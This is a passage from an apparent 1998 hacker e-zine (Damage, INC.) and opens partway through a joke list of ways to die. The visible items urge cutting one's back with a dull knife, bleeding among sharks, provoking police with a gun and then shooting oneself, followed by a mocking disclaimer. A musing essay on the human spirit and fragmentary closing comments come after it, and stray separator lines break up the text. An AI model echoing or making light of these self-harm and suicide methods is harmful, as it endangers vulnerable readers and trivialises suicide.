of sleeping. They don't call them "terminals" for nothing. The
|
||
radiation can be terminal. This one is for slow people.
|
||
|
||
8. Carve an anarchy symbol into your back using a dull knife. You
|
||
probably won't bleed to death, but it was fun right? So what if
|
||
it doesn't kill you. :) This one is for sadistic anarchists.
|
||
|
||
Or, if you really like this method and want to die, do that while in
|
||
a pit of leeches. If that fails, swim with some sharks while you're
|
||
bleeding. You'll feed their frenzy.
|
||
|
||
9. Prescription for death: Listen to a warez d00d brag about how many
|
||
0 second warez they have. Repeat daily until death ensues. It
|
||
should take 4-6 weeks. Warning: Very slow and painful. It will
|
||
seem like 6 years of torture. This one is for Kevorkianites.
|
||
|
||
10. Walk into a police station holding a gun. This is the quickest
|
||
death since the trigger happy cops will gladly riddle you with
|
||
bullets (even if it's a gun amnesty day for handing over weapons).
|
||
Of course, you'll have to wait until some of them put their coffee
|
||
cups down, shoot and actually hit their target. If you want to
|
||
die faster, don't move. If you move, they'll miss. Start shooting
|
||
at them and they might get serious. Then put the gun to your own
|
||
head and pull the trigger to cheat them out of the kill. :)
|
||
|
||
|
||
Warning: Don't try any of the methods above and think you're kewl. This
|
||
disclaimer is here to prevent you from acting foolishly. If you
|
||
are under 18 then take my word for it, this shit is dangerous.
|
||
So, be sure to get your parent's permission first kiddies. :)
|
||
|
||
--- Written by THC Phreak ---
|
||
|
||
|
||
THOUGHTS, POEMS AND CREATIVE WRITING - {WRITING}
|
||
Thoughts beyond this Physical World.
|
||
|
||
Many people believe that when the Apocalypse arrives, it will be the end of
|
||
the world. That is definitely a conceited claim.
|
||
|
||
The human race is but a shooting star which falls from the sky when compared to
|
||
the time our planet has existed. And the planet Earth will exist long
|
||
after we are nothing but dust in the wind.
|
||
|
||
In the physical world, everything has a lifespan. Birth, growth, and death
|
||
are the constant rules of our existence.
|
||
|
||
However, there is another dimension to the human race that is not prevalent
|
||
in any other terrestrial creature. We also have intelligence and spirit.
|
||
|
||
Our intelligence and sentience enables us to learn some of the secrets of the
|
||
physical world. Many humans have dedicated their lives to this pursuit.
|
||
|
||
Current scientific and technological discoveries are a result of this
|
||
overpowering need to master the physical world. It is unfortunate that
|
||
most of our race's wit and wisdom is dedicated to satisfy our primal
|
||
instincts.
|
||
|
||
Meanwhile, has the human spirit evolved and changed in recent history?
|
||
In my opinion, many humans have regressed into zombies.
|
||
|
||
Wouldn't it be beneficial to us all if we could harness the power of our
|
||
mind? Telepathy, telekinesis, astral projection and other abilities could
|
||
belong to all of us.
|
||
|
||
However such abilities would be used by shortsighted people in the
|
||
neverending battle to impose their own order upon this physical world.
|
||
Those abilities should be developed and used to expand our horizons beyond
|
||
what we know, into worlds we haven't yet explored.
|
||
|
||
This physical world is being abused and exhausted. If the human race
|
||
wants to grow, we must turn our heads and look in a new direction.
|
||
|
||
Written by Shatazar ú Damage, INC. (C)opyright 1998.
|
||
|
||
|
||
CLOSING COMMENTS - {CLOSING}
|
||
BLACKENED's Insightful Closing Comments:
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||
|
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|
||
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|
||
the ignorant, the politically correct, the following zombies and be willing
|
||
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|
||
complaining silently about it. Indifference and complacency are two very
|
||
destructive states of mind since they can harm you unexpectedly. Laziness is
|
||
also one of the worst wastes of knowledge and ideas. Doing nothing can come
|
||
back to haunt you if you just sit back and watch things happen that you don't
|
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|
||
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|
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|
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|
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